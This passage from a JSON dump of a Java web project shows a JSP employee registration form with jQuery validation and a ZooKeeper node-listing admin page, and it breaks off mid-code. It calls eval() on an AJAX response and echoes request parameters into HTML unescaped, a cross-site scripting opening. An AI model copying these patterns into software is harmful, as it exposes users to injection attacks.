    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\r\n\tpageEncoding=\"UTF-8\"%>\r\n<!DOCTYPE html>\r\n<html>\r\n  <head>\r\n    <title></title>\r\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\r\n    <script type=\"text/javascript\" src=\"js/DatePicker/WdatePicker.js\"></script>\r\n    \r\n    <style type=\"text/css\">\r\n      body {\r\n        padding-top: 60px;\r\n        padding-bottom: 40px;\r\n      }\r\n      .sidebar-nav {\r\n        padding: 9px 0;\r\n      }\r\n    </style>\r\n      <link rel=\"stylesheet\" type=\"text/css\" href=\"css/bootstrap.min.css\" />\r\n      <link rel=\"stylesheet\" type=\"text/css\" href=\"css/bootstrap-responsive.min.css\" />\r\n      <link rel=\"stylesheet\" type=\"text/css\" href=\"css/style.css\" />\r\n      <!--[if lt IE 9]>\r\n      <script type=\"text/javascript\" src=\"/js/html5.js\"></script>\r\n      <![endif]-->\r\n      <script type=\"text/javascript\" src=\"js/jquery-1.7.1.min.js\"></script>\r\n      <script type=\"text/javascript\" src=\"js/bootstrap.min.js\"></script>\r\n    <script>\r\n        $(document).ready(function(){\r\n        \t\r\n        \t$(\"#employeeCode\").blur(function(){\r\n    \t\t\tvar employeeCode=$(\"#employeeCode\").val();\r\n    \t\t\tif(employeeCode.length>0&&employeeCode!=''){\r\n    \t\t\t\tvar pattern =  /^(ps|PS)+\\w{4,19}$/;\r\n                    if(!pattern.exec(employeeCode))\r\n                    {\r\n                         $(\"#employeeCode\").focus();\r\n                        $(\"#employeeCodeAlert\").html(\"<font size='5' color='red'>账号格式(PS(ps)+字母或者数字,长度大于6位)</font>\");\r\n                        return false;\r\n                    }else {\r\n                    \t\r\n\t    \t\t\t\t//$(\"#employeeCodeAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n                    \tjQuery.ajax({\r\n            \t\t\t\ttype : \"post\",\r\n            \t\t\t\turl : \"employeeJson_checkEmployeeCode.action\",\r\n            \t\t\t\tdataType : 'text',\r\n            \t\t\t\tdata : {\"employeeCode\":employeeCode},\r\n            \t\t\t\tsuccess : function(json) {\r\n\r\n            \t\t\t\t\tif (json != null && json != '') {\r\n            \t\t\t\t\t\tvar result = eval(json); //包数据解析为json 格 式 \r\n            \t\t\t\t\t\tif('ok'==result){\r\n            \t\t\t\t\t\t\t$(\"#employeeCodeAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n            \t\t\t\t\t\t}else if('exist'==result){\r\n            \t\t\t\t\t\t\t$(\"#employeeCodeAlert\").html(\"<font color='red'>该账号已经存在</font>\");\r\n            \t\t\t\t\t\t\t$(\"#employeeCode\").focus();\r\n            \t\t\t\t\t\t\r\n            \t\t\t\t\t\t}else{\r\n            \t\t\t\t\t\t\t$(\"#employeeCodeInfo\").html(\"<font  color='red'>\"+result+\"</font>\");\r\n            \t\t\t\t\t\t} \r\n            \t\t\t\t\t\t\r\n            \t\t\t\t\t} else {\r\n            \t\t\t\t\t\talert(\"异步处理异常，返回值为空！\");\r\n            \t\t\t\t\t}\r\n            \t\t\t\t}\r\n            \t\t\t});\r\n                    }\r\n    \t\t\t\t\r\n    \t\t\t}else{\r\n    \t\t\t\t$(\"#employeeCodeAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n    \t\t\t\t$(\"#employeeCode\").focus();\r\n    \t\t\t}\r\n    \t\t});\r\n    \t\t$(\"#employeeCode\").click(function(){\r\n\t    \t\t\t$(\"#employeeCodeAlert\").html(\"\");\r\n    \t\t\t\r\n    \t\t});\r\n    \t\t\r\n    \t\t$(\"#employeeName\").blur(function(){\r\n    \t\t\tvar employeeName = $(\"#employeeName\").val();\r\n    \t\t\tif (employeeName.length == 0 || employeeName == \"\") {\r\n    \t\t\t\t$(\"#employeeNameAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n    \t\t\t}else{\r\n    \t\t\t\t$(\"#employeeNameAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n    \t\t\t\t\r\n    \t\t\t}\r\n    \t\t});\r\n    \t\t\r\n    \t\t$(\"#employeeName\").click(function(){\r\n    \t\t\t$(\"#employeeNameAlert\").html(\"\");\r\n    \t\t\t\r\n    \t\t});\r\n    \t\t\r\n    \t\t$(\"#password\").blur(function(){\r\n    \t\t\tvar password = $(\"#password\").val();\r\n    \t\t\tif (password.length == 0 || password == \"\") {\r\n    \t\t\t\t$(\"#passwordAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n    \t\t\t}else{\r\n    \t\t\t\t$(\"#passwordAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n    \t\t\t\t\r\n    \t\t\t}\r\n    \t\t});\r\n    \t\t\r\n    \t\t$(\"#password\").click(function(){\r\n    \t\t\t$(\"#passwordAlert\").html(\"\");\r\n    \t\t\t\r\n    \t\t});\r\n    \t\t\r\n    \t\t$(\"#mobile\").blur(function(){\r\n    \t\t\tvar mobile = $(\"#mobile\").val();\r\n    \t\t\tif (mobile.length == 0 || mobile == \"\") {\r\n    \t\t\t\t$(\"#mobileAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n    \t\t\t}else{\r\n    \t\t\t\t  var reg =/^((\\+86)|(86))?(1)\\d{10}$/;\r\n                      if(!mobile.match(reg))\r\n                      {\r\n                          $(\"#mobile\").focus();\r\n                          $(\"#mobileAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n                          return false;\r\n                      }else {\r\n\t    \t\t\t\t$(\"#mobileAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n                      }\r\n    \t\t\t}\r\n    \t\t\t\t\r\n    \t\t});\r\n    \t\t\r\n    \t\t$(\"#mobile\").click(function(){\r\n    \t\t\t$(\"#mobileAlert\").html(\"\");\r\n    \t\t\t\r\n    \t\t});\r\n    \t\t$(\"#email\").blur(function(){\r\n    \t\t\tvar email = $(\"#email\").val();\r\n    \t\t\tif (email.length == 0 || email == \"\") {\r\n    \t\t\t\t$(\"#emailAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n    \t\t\t\t$(\"#email\").focus();\r\n    \t\t\t}else{\r\n    \t\t\t\t var pattern =/^[a-zA-Z0-9_\\-]{1,}@[a-zA-Z0-9_\\-]{1,}\\.[a-zA-Z0-9_\\-.]{1,}$/;\r\n                     if(!pattern.exec(email))\r\n                     {\r\n                         $(\"#email\").focus();\r\n                         $(\"#emailAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n                         return false;\r\n                     }else {\r\n \t    \t\t\t\t$(\"#emailAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n                     }\r\n    \t\t\t}\r\n    \t\t\t\t\r\n    \t\t});\r\n    \t\t\r\n    \t\t$(\"#email\").click(function(){\r\n    \t\t\t$(\"#emailAlert\").html(\"\");\r\n    \t\t});\r\n    \t\t\r\n    \t\t\r\n    \t\t$(\"#idCard\").click(function(){\r\n    \t\t\t$(\"#idCardAlert\").html(\"\");\r\n    \t\t});\r\n    \t\t\r\n    \t\t\r\n    \t\t$(\"#birthday\").click(function(){\r\n    \t\t\t$(\"#birthdayAlert\").html(\"\");\r\n    \t\t\t\r\n    \t\t});\r\n    \t\t\r\n    \t\t$(\"#address\").blur(function(){\r\n    \t\t\tvar address = $(\"#address\").val();\r\n    \t\t\tif (address.length == 0 || address == \"\") {\r\n    \t\t\t\t$(\"#addressAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n    \t\t\t}else{\r\n    \t\t\t\t$(\"#addressAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n    \t\t\t\t\r\n    \t\t\t}\r\n    \t\t});\r\n    \t\t\r\n    \t\t$(\"#address\").click(function(){\r\n    \t\t\t$(\"#addressAlert\").html(\"\");\r\n    \t\t\t\r\n    \t\t});\r\n    \t\t\r\n    \t\t$(\"#zipCode\").blur(function(){\r\n    \t\t\tvar zipCode = $(\"#zipCode\").val();\r\n    \t\t\tif (zipCode.length == 0 || zipCode == \"\") {\r\n    \t\t\t\t$(\"#zipCodeAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n    \t\t\t}else{\r\n    \t\t\t\tvar pattern =/^[1-9][0-9]{5}$/;\r\n                    if(!pattern.exec(zipCode))\r\n                    {\r\n                        $(\"#zipCode\").focus();\r\n                        $(\"#zipCodeAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n                        return false;\r\n                    }else {\r\n\t    \t\t\t\t$(\"#zipCodeAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n                    }\r\n    \t\t\t\t\r\n    \t\t\t}\r\n    \t\t});\r\n    \t\t\r\n    \t\t$(\"#zipCode\").click(function(){\r\n    \t\t\t$(\"#zipCodeAlert\").html(\"\");\r\n    \t\t\t\r\n    \t\t});\r\n    \t\t\r\n    \t\t\r\n    \t\t\r\n    \t\t$(\"#register\").click(function() {\r\n    \t\t\tvar employeeCode = $(\"#employeeCode\").val();\r\n    \t\t\tif (employeeCode.length == 0 || employeeCode == \"\") {\r\n    \t\t\t\t$(\"#employeeCodeInfo\").show();\r\n    \t\t\t\t$(\"#employeeCodeAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n    \t\t\t\t$(\"#employeeCode\").focus();\r\n    \t\t\t\treturn false;\r\n    \t\t\t}else{\r\n    \t\t\t\t$(\"#employeeCodeInfo\").hide();\r\n    \t\t\t\t$(\"#employeeCodeAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n    \t\t\t\t\r\n    \t\t\t}\r\n\r\n\r\n    \t\t\tvar employeeName = $(\"#employeeName\").val();\r\n    \t\t\tif (employeeName.length == 0 || employeeName == \"\") {\r\n    \t\t\t\t$(\"#employeeNameAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n    \t\t\t\t$(\"#employeeName\").focus();\r\n    \t\t\t\treturn false;\r\n    \t\t\t}else{\r\n    \t\t\t\t$(\"#employeeNameAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n    \t\t\t\t\r\n    \t\t\t}\r\n    \t\t\tvar password = $(\"#password\").val();\r\n    \t\t\tif (password.length == 0 || password == \"\") {\r\n    \t\t\t\t$(\"#passwordAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n    \t\t\t\t$(\"#password\").focus();\r\n    \t\t\t\treturn false;\r\n    \t\t\t}else{\r\n    \t\t\t\t$(\"#passwordAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n    \t\t\t\t\r\n    \t\t\t}\r\n    \t\t\tvar mobile = $(\"#mobile\").val();\r\n    \t\t\tif (mobile.length == 0 || mobile == \"\") {\r\n    \t\t\t\t$(\"#mobileAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n    \t\t\t\t$(\"#mobile\").focus();\r\n    \t\t\t\treturn false;\r\n    \t\t\t}else{\r\n    \t\t\t\t  var reg =/^((\\+86)|(86))?(1)\\d{10}$/;\r\n                      if(!mobile.match(reg))\r\n                      {\r\n                          $(\"#mobile\").focus();\r\n                          $(\"#mobileAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n                          return false;\r\n                      }else {\r\n\t    \t\t\t\t$(\"#mobileAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n                      }\r\n    \t\t\t}\r\n    \t\t\tvar email = $(\"#email\").val();\r\n    \t\t\tif (email.length == 0 || email == \"\") {\r\n    \t\t\t\t$(\"#emailAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n    \t\t\t\t$(\"#email\").focus();\r\n    \t\t\t\treturn false;\r\n    \t\t\t}else{\r\n    \t\t\t\t var pattern =/^[a-zA-Z0-9_\\-]{1,}@[a-zA-Z0-9_\\-]{1,}\\.[a-zA-Z0-9_\\-.]{1,}$/;\r\n                     if(!pattern.exec(email))\r\n                     {\r\n                         $(\"#email\").focus();\r\n                         $(\"#emailAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n                         return false;\r\n                     }else {\r\n \t    \t\t\t\t$(\"#emailAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n                     }\r\n    \t\t\t\t\r\n    \t\t\t}\r\n    \t\t\tvar address = $(\"#address\").val();\r\n    \t\t\tif (address.length == 0 || address == \"\") {\r\n    \t\t\t\t$(\"#addressAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n    \t\t\t\t$(\"#address\").focus();\r\n    \t\t\t\treturn false;\r\n    \t\t\t}else{\r\n    \t\t\t\t$(\"#addressAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n    \t\t\t\t\r\n    \t\t\t}\r\n    \t\t\t\r\n    \t\t\tvar zipCode = $(\"#zipCode\").val();\r\n    \t\t\tif (zipCode.length == 0 || zipCode == \"\") {\r\n    \t\t\t\t$(\"#zipCodeAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n    \t\t\t\t$(\"#zipCode\").focus();\r\n    \t\t\t\treturn false;\r\n    \t\t\t}else{\r\n    \t\t\t\tvar pattern =/^[1-9][0-9]{5}$/;\r\n                    if(!pattern.exec(zipCode))\r\n                    {\r\n                        $(\"#zipCode\").focus();\r\n                        $(\"#zipCodeAlert\").html(\"<font size='5' color='red'>×</font>\");\r\n                        return false;\r\n                    }else {\r\n\t    \t\t\t\t$(\"#zipCodeAlert\").html(\"<font size='5' color='green'>√</font>\");\r\n                    }\r\n    \t\t\t}\r\n    \t\t});\r\n    \t\t\r\n    \t\t\r\n    \t\t $(\"#backLogin\").click(function(){\r\n    \t    \t  window.self.location=\"toLogin.action\";\r\n    \t      });\r\n        \t\r\n        \t\r\n        });\r\n\r\n\r\n    </script>\r\n  </head>\r\n\r\n  <body>\r\n    <div class=\"navbar navbar-fixed-top\">\r\n      <div class=\"navbar-inner\">\r\n        <div class=\"container-fluid\">\r\n          <a class=\"btn btn-navbar\" data-toggle=\"collapse\" data-target=\".nav-collapse\">\r\n            <span class=\"icon-bar\"></span>\r\n            <span class=\"icon-bar\"></span>\r\n            <span class=\"icon-bar\"></span>\r\n          </a>\r\n          <a class=\"brand\" href=\"#\">clover manager system</a>\r\n          \r\n        </div>\r\n      </div>\r\n    </div>\r\n\r\n    <div class=\"container-fluid\">\r\n                 \r\n                 \r\n    <form  method=\"post\" action=\"employee_register.action\">\r\n\r\n      <table >\r\n        <thead>\r\n         <tr align=\"center\">\r\n           <th  style=\"text-algin:center\">员工注册页面</th>\r\n         </tr>\r\n        </thead>\r\n        <tbody>\r\n        \r\n            <tr>\r\n                <td>\r\n                    <font color=\"red\">*</font>员工账号:\r\n                </td>\r\n                <td align=\"left\">\r\n                    <input type=\"text\" id=\"employeeCode\" name=\"employeeCode\" placeholder=\"员工账号\" class=\"span2\" /> <span id=\"employeeCodeAlert\"></span>\r\n                </td>\r\n            </tr>\r\n            \r\n             <tr>\r\n                <td>\r\n                    <font color=\"red\">*</font>员工名:\r\n                </td>\r\n                <td align=\"left\">\r\n                    <input type=\"text\" id=\"employeeName\" name=\"employeeName\" placeholder=\"员工名\" class=\"span2\" /> <span id=\"employeeNameAlert\"></span>\r\n                </td>\r\n            </tr>\r\n\r\n               <tr>\r\n                   <td>\r\n                       <font color=\"red\">*</font>密码:\r\n                   </td>\r\n                   <td>\r\n                       <input type=\"password\" id=\"password\" name=\"password\" placeholder=\"密码\" class=\"span2\"  /> &nbsp;<span id=\"passwordAlert\"></span>\r\n                   </td>\r\n               </tr>\r\n               \r\n                <tr>\r\n\t                <td>\r\n\t                    <font color=\"red\">*</font>性别:\r\n\t                </td>\r\n\t                <td align=\"left\">\r\n\t\t\t\t                    男<input type=\"radio\" id=\"sex\" name=\"sex\" value=\"0\" checked=\"checked\"  /> \r\n\t\t\t\t                    女<input type=\"radio\" id=\"sex\" name=\"sex\" value=\"1\"  /> \r\n\t                </td>\r\n\t            </tr>\r\n                \r\n                 <tr>\r\n\t                <td>\r\n\t                    <font color=\"red\">*</font>手机号码:\r\n\t                </td>\r\n\t                <td align=\"left\">\r\n\t                    <input type=\"text\" id=\"mobile\" name=\"mobile\" placeholder=\"手机号码\" class=\"span2\" /> <span id=\"mobileAlert\"></span>\r\n\t                </td>\r\n\t            </tr>\r\n            \r\n             <tr>\r\n                <td>\r\n                    <font color=\"red\">*</font>邮箱:\r\n                </td>\r\n                <td align=\"left\">\r\n                    <input type=\"text\" id=\"email\" name=\"email\" placeholder=\"邮箱\" class=\"span2\" /> <span id=\"emailAlert\"></span>\r\n                </td>\r\n            </tr>\r\n            \r\n             <tr>\r\n                <td>\r\n                    <font color=\"red\"></font>身份证号码:\r\n                </td>\r\n                <td align=\"left\">\r\n                    <input type=\"text\" id=\"idCard\" name=\"idCard\" placeholder=\"身份证号码\" class=\"span2\" /> <span id=\"idCardAlert\"></span>\r\n                </td>\r\n            </tr>\r\n            \r\n            \r\n           <%--   <tr>\r\n                <td>\r\n                    <font color=\"red\"></font>生日:\r\n                </td>\r\n                <td align=\"left\">\r\n                    <input type=\"text\" id=\"birthday\" name=\"birthday\" placeholder=\"生日\" \r\n                    onFocus=\"WdatePicker({isShowClear:true,readOnly:true,lang:'<s:property value=\"datePickerLocale\"/>'})\"\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\treadonly class=\"span2\" /> <span id=\"birthdayAlert\"></span>\r\n                </td>\r\n            </tr> --%>\r\n      \r\n\t      <tr>\r\n               <td>\r\n                   <font color=\"red\">*</font>地址:\r\n               </td>\r\n               <td align=\"left\">\r\n                   <input type=\"text\" id=\"address\" name=\"address\" placeholder=\"地址\" class=\"span2\" /> <span id=\"addressAlert\"></span>\r\n               </td>\r\n           </tr>\r\n           \r\n            <tr>\r\n               <td>\r\n                   <font color=\"red\">*</font>邮编:\r\n               </td>\r\n               <td align=\"left\">\r\n                   <input type=\"text\" id=\"zipCode\" name=\"zipCode\" placeholder=\"邮编\" class=\"span2\" /> <span id=\"zipCodeAlert\"></span>\r\n               </td>\r\n           </tr>\r\n    \r\n          \r\n             <tr align=\"center\">\r\n\r\n                 <td>\r\n                     <button id=\"register\" type=\"submit\" class=\"btn btn-primary\">注册</button>\r\n                 </td>\r\n                 <td>\r\n                     <button type=\"reset\" class=\"btn\">重置</button>\r\n                 </td>\r\n             </tr>\r\n             \r\n             <tr align=\"center\">\r\n                       <td>\r\n\t                       <button id=\"backLogin\" type=\"button\" class=\"btn btn-primary\">返回登录页面</button>\r\n                       </td>\r\n                       <td>\r\n                       </td>\r\n                   </tr>\r\n        </tbody>\r\n      </table>\r\n    </form>\r\n    </div>\r\n  </body>\r\n</html>\r\n"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/zkList.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\r\n         pageEncoding=\"UTF-8\" %>\r\n<%@ page import=\"com.gome.clover.common.tools.CommonConstants\" %>\r\n<%@ page import=\"com.gome.clover.common.tools.StringUtil\" %>\r\n<%@ page import=\"com.gome.clover.common.zk.ZKUtil\" %>\r\n<%@ page import=\"com.mongodb.BasicDBObject\" %>\r\n<%@ page import=\"org.apache.curator.framework.CuratorFramework\" %>\r\n<%@ page import=\"java.util.ArrayList\" %>\r\n<%@ page import=\"java.util.List\" %>\r\n<%\r\n    String path = request.getContextPath();\r\n    String basePath = request.getScheme() + \"://\" + request.getServerName() + \":\" + request.getServerPort() + path;\r\n\r\n    String qDest = request.getParameter(\"qDest\");\r\n    String qHostName = request.getParameter(\"qHostName\");\r\n    String qIp = request.getParameter(\"qIp\");\r\n    String qJobClass = request.getParameter(\"qJobClass\");\r\n    String qPort = request.getParameter(\"qPort\");\r\n    CuratorFramework curatorFramework = ZKUtil.create();\r\n    if (!curatorFramework.isStarted()) curatorFramework.start();\r\n\r\n    String serverPathStr = CommonConstants.ZK_ROOT_PATH + \"/\" + CommonConstants.MODULE_TYPE_SERVER;\r\n    String clientPathStr = CommonConstants.ZK_ROOT_PATH + \"/\" + CommonConstants.MODULE_TYPE_CLIENT;\r\n\r\n    List serverNodeList = null;\r\n    List clientNodeList = null;\r\n\r\n    if (\"1\".equals(qDest)) {\r\n        serverNodeList = ZKUtil.getChilds(curatorFramework, serverPathStr);\r\n    } else if (\"2\".equals(qDest)) {\r\n        clientNodeList = ZKUtil.getChilds(curatorFramework, clientPathStr);\r\n    } else {\r\n        serverNodeList = ZKUtil.getChilds(curatorFramework, serverPathStr);\r\n        clientNodeList = ZKUtil.getChilds(curatorFramework, clientPathStr);\r\n    }\r\n\r\n    List<BasicDBObject> filterServerDataList = null;\r\n    if (null != serverNodeList && serverNodeList.size() > 0) {\r\n        filterServerDataList = new ArrayList<BasicDBObject>();\r\n        for (int i = 0; (serverNodeList != null) && (i < serverNodeList.size()); i++) {\r\n            String id = (String) serverNodeList.get(i);\r\n            String c = ZKUtil.getData(curatorFramework, serverPathStr + \"/\" + id);\r\n            if (c == null) {\r\n                continue;\r\n            }\r\n            BasicDBObject record = (BasicDBObject) com.mongodb.util.JSON.parse(c);\r\n            String tempId = (String) record.get(\"id\");\r\n            String tempPort = (String) record.get(\"port\");\r\n            String tempIp = (String) record.get(\"ip\");\r\n            if (!StringUtil.isEmpty(qHostName) && !StringUtil.isEmpty(qIp) &&\r\n                    !StringUtil.isEmpty(qPort)) {\r\n                if (tempId.contains(qHostName) && tempIp.equals(qIp) && tempPort.equals(qPort)) {\r\n                    filterServerDataList.add(record);\r\n                }\r\n            } else if (!StringUtil.isEmpty(qHostName) && !StringUtil.isEmpty(qIp) &&\r\n                    StringUtil.isEmpty(qPort)) {\r\n                if (tempId.contains(qHostName) && tempIp.equals(qIp)) {\r\n                    filterServerDataList.add(record);\r\n                }\r\n            } else if (!StringUtil.isEmpty(qHostName) && StringUtil.isEmpty(qIp) &&\r\n                    StringUtil.isEmpty(qPort)) {\r\n                if (tempId.contains(qHostName)) {\r\n                    filterServerDataList.add(record);\r\n                }\r\n            } else {\r\n                filterServerDataList.add(record);\r\n            }\r\n        }\r\n    }\r\n\r\n    List<BasicDBObject> filterClientDataList = null;\r\n    if (null != clientNodeList && clientNodeList.size() > 0) {\r\n        filterClientDataList = new ArrayList<BasicDBObject>();\r\n        for (int i = 0; (clientNodeList != null) && (i < clientNodeList.size()); i++) {\r\n            String id = (String) clientNodeList.get(i);\r\n            String c = ZKUtil.getData(curatorFramework, clientPathStr + \"/\" + id);\r\n            if (c == null) {\r\n                continue;\r\n            }\r\n            BasicDBObject record = (BasicDBObject) com.mongodb.util.JSON.parse(c);\r\n            String tempId = (String) record.get(\"id\");\r\n            String tempPort = (String) record.get(\"port\");\r\n            String tempIp = (String) record.get(\"ip\");\r\n            List<String> jobClassList = (List<String>) record.get(\"jobClass\");\r\n            if (!StringUtil.isEmpty(qHostName) && !StringUtil.isEmpty(tempIp) && !StringUtil.isEmpty(tempPort)\r\n                    && (null != jobClassList && jobClassList.size() > 0)) {\r\n                if (tempId.contains(qHostName) && tempIp.equals(qIp) && tempPort.equals(qPort) && jobClassList.contains(qJobClass)) {\r\n                    filterClientDataList.add(record);\r\n                }\r\n            } else if (!StringUtil.isEmpty(tempId) && !StringUtil.isEmpty(tempIp)&& !StringUtil.isEmpty(tempPort)\r\n                    && (null == jobClassList || jobClassList.size() == 0)) {\r\n                if (tempId.contains(qHostName) && tempIp.equals(qIp) && tempPort.equals(qPort)) {\r\n                    filterClientDataList.add(record);\r\n                }\r\n            } else if (!StringUtil.isEmpty(tempId) && StringUtil.isEmpty(tempIp) && StringUtil.isEmpty(tempPort)\r\n                    && (null == jobClassList || jobClassList.size() == 0)) {\r\n                if (tempId.contains(qHostName) && tempIp.equals(qIp)) {\r\n                    filterClientDataList.add(record);\r\n                }\r\n            } else if (!StringUtil.isEmpty(tempId) && StringUtil.isEmpty(tempIp) && StringUtil.isEmpty(tempPort)\r\n                    && (null == jobClassList || jobClassList.size() == 0)) {\r\n                if (tempId.contains(qHostName)) {\r\n                    filterClientDataList.add(record);\r\n                }\r\n            } else {\r\n                filterClientDataList.add(record);\r\n            }\r\n        }\r\n    }\r\n    curatorFramework.close();\r\n%>\r\n<!DOCTYPE html>\r\n<html>\r\n<jsp:include page=\"/common/head.jsp\"/>\r\n<body>\r\n<jsp:include page=\"/common/nav.jsp\"/>\r\n<div class=\"container-fluid\">\r\n\r\n    <table class=\"table table-bordered \">\r\n        <tbody>\r\n        <form action=\"<%=basePath%>/zkList.jsp\" method=\"post\">\r\n            <tr>\r\n                <td >\r\n                    <select id=\"qDest\" name=\"qDest\">\r\n                        <%\r\n                            if (\"1\".equals(qDest)) {\r\n                        %>\r\n                        <option value=\"\">请选择查询目标</option>\r\n                        <option value=\"1\" selected>server</option>\r\n                        <option value=\"2\">client</option>\r\n                        <%\r\n                        } else if (\"2\".equals(qDest)) {\r\n                        %>\r\n                        <option value=\"\">请选择查询目标</option>\r\n                        <option value=\"1\">server</option>\r\n                        <option value=\"2\" selected>client</option>\r\n                        <%\r\n                        } else {\r\n                        %>\r\n                        <option value=\"\">请选择查询目标</option>\r\n                        <option value=\"1\">server</option>\r\n                        <option value=\"2\">client</option>\r\n                        <%\r\n                            }\r\n                        %>\r\n                    </select>\r\n                </td>\r\n                <th>Host Name:</th>\r\n                <td>\r\n                    <input type=\"text\" id=\"qHostName\" name=\"qHostName\" class=\"form-inline span2\" placeholder=\"Host Name\"\r\n                           value=\"<%=null!=qHostName?qHostName:\"\"%>\"/>\r\n                </td>\r\n                <th>ip:</th>\r\n                <td>\r\n                    <input type=\"text\" id=\"qIp\" name=\"qIp\" placeholder=\"ip\" value=\"<%=null!=qIp?qIp:\"\"%>\"/>\r\n                </td>\r\n                <th>Job Class:</th>\r\n                <td>\r\n                    <input type=\"text\" id=\"qJobClass\" name=\"qJobClass\" placeholder=\"Job Class\"\r\n                           value=\"<%=null!=qJobClass?qJobClass:\"\"%>\"/>\r\n                </td>\r\n                <th>port:</th>\r\n                <td>\r\n                    <input type=\"text\" id=\"qPort\" name=\"qPort\" placeholder=\"port\" value=\"<%=null!=qPort?qPort:\"\"%>\"/>\r\n                </td>\r\n\r\n            </tr>\r\n            <tr>\r\n                <td colspan=\"9\">\r\n                    <center>\r\n                        <button class=\"btn btn-success\" type=\"submit\">查询</button>\r\n                        <button class=\"btn\" onclick=\"clearQuery()\">清空</button>\r\n                        <%--<a style=\"float: right\" id=\"startupZeroMqBtn\" class=\"btn btn-success\" data-toggle=\"modal\"\r\n                           onclick=\"startupZeroMq()\" href=\"#\">\r\n                            启动zeromq</a>--%>\r\n                    </center>\r\n                </td>\r\n            </tr>\r\n        </form>\r\n        </tbody>\r\n    </table>\r\n\r\n    <table class=\"table table-bordered table-striped\">\r\n        <thead>\r\n        <tr>\r\n            <th style=\"width: 20%; text-align: center;\" nowrap>Server Name</th>\r\n            <th style=\"width: 10%; text-align: center;\" nowrap>ip</th>\r\n            <th style=\"width: 10%; text-align: center;\" nowrap>port</th>\r\n            <th style=\"width: 10%; text-align: center;\" nowrap>ts</th>\r\n            <th style=\"width: 10%; text-align: center;\" nowrap>Mem Ratio</th>\r\n            <th style=\"width: 10%; text-align: center;\" nowrap>Cpu Ratio</th>\r\n            <th style=\"width: 10%; text-align: center;\" nowrap>Total Thread</th>\r\n            <%-- <th style=\"width: 20%;text-align: center;\" nowrap>操作</th>--%>\r\n        </tr>\r\n        </thead>\r\n        <tbody>\r\n        <%\r\n            if (null != filterServerDataList && filterServerDataList.size() > 0) {\r\n\r\n                for (BasicDBObject tempServerData : filterServerDataList) {\r\n        %>\r\n        <tr>\r\n            <td style=\"text-align: center;\" nowrap>\r\n                <%=(String) tempServerData.get(\"id\")%>\r\n            </td>\r\n            <td style=\"text-align: center;\" nowrap>\r\n                <%=tempServerData.get(\"ip\")%>\r\n            </td>\r\n            <td style=\"text-align: center;\" nowrap>\r\n                <%=tempServerData.get(\"port\")%>\r\n            </td>\r\n            <td style=\"text-align: center;\" nowrap>\r\n                <%=tempServerData.get(\"ts\")%>\r\n            </td>\r\n            <td style=\"text-align: center;\" nowrap>\r\n                <%=tempServerData.get(\"memRatio\")%>\r\n            </td>\r\n            <td style=\"text-align: center;\" nowrap>\r\n                <%=tempServerData.get(\"cpuRatio\")%>\r\n            </td>\r\n            <td style=\"text-align: center;\" nowrap>\r\n                <%=tempServerData.get(\"totalThread\")%>\r\n            </td>\r\n            <%--  <td style=\"text-align: center;\" nowrap>\r\n                  <a data-toggle=\"modal\" onclick=\"toUpdateServer('<%=tempFilterServerDataStrs[0]%>')\"\r\n                     href=\"#\">\r\n                      <i class=\"icon-edit\"></i>更新\r\n                  </a>\r\n                  <a data-toggle=\"modal\" onclick=\"toDeleteServer('<%=tempFilterServerDataStrs[0]%>')\"\r\n                     href=\"#\">\r\n                      <i class=\"icon-remove\"></i>删除\r\n                  </a>\r\n              </td>--%>\r\n        </tr>\r\n        <%\r\n            }\r\n        } else {\r\n        %>\r\n        <tr>\r\n            <td colspan=\"7\" style=\"text-align: center;\" nowrap>暂无相关记录</td>\r\n        </tr>\r\n        <%\r\n            }\r\n        %>\r\n        </tbody>\r\n    </table>\r\n\r\n    <table class=\"table table-bordered table-striped\">\r\n        <thead>\r\n        <tr>\r\n            <th style=\"width: 20%; text-align: center;\" nowrap>Client Name</th>\r\n            <th style=\"width: 30%; text-align: center;\" nowrap>Job Class</th>\r\n            <th style=\"width: 10%; text-align: center;\" nowrap>ip</th>\r\n            <th style=\"width: 5%; text-align: center;\" nowrap>port</th>\r\n            <th style=\"width: 10%; text-align: center;\" nowrap>ts</th>\r\n            <th style=\"width: 10%; text-align: center;\" nowrap>Mem Ratio</th>\r\n            <th style=\"width: 10%; text-align: center;\" nowrap>Cpu Ratio</th>\r\n            <th style=\"width: 5%; text-align: center;\" nowrap>Total Thread</th>\r\n            <%-- <th style=\"width: 20%;text-align: center;\" nowrap>操作</th>--%>\r\n        </tr>\r\n        </thead>\r\n        <tbody>\r\n        <%\r\n            if (null != filterClientDataList && filterClientDataList.size() > 0) {\r\n                for (BasicDBObject 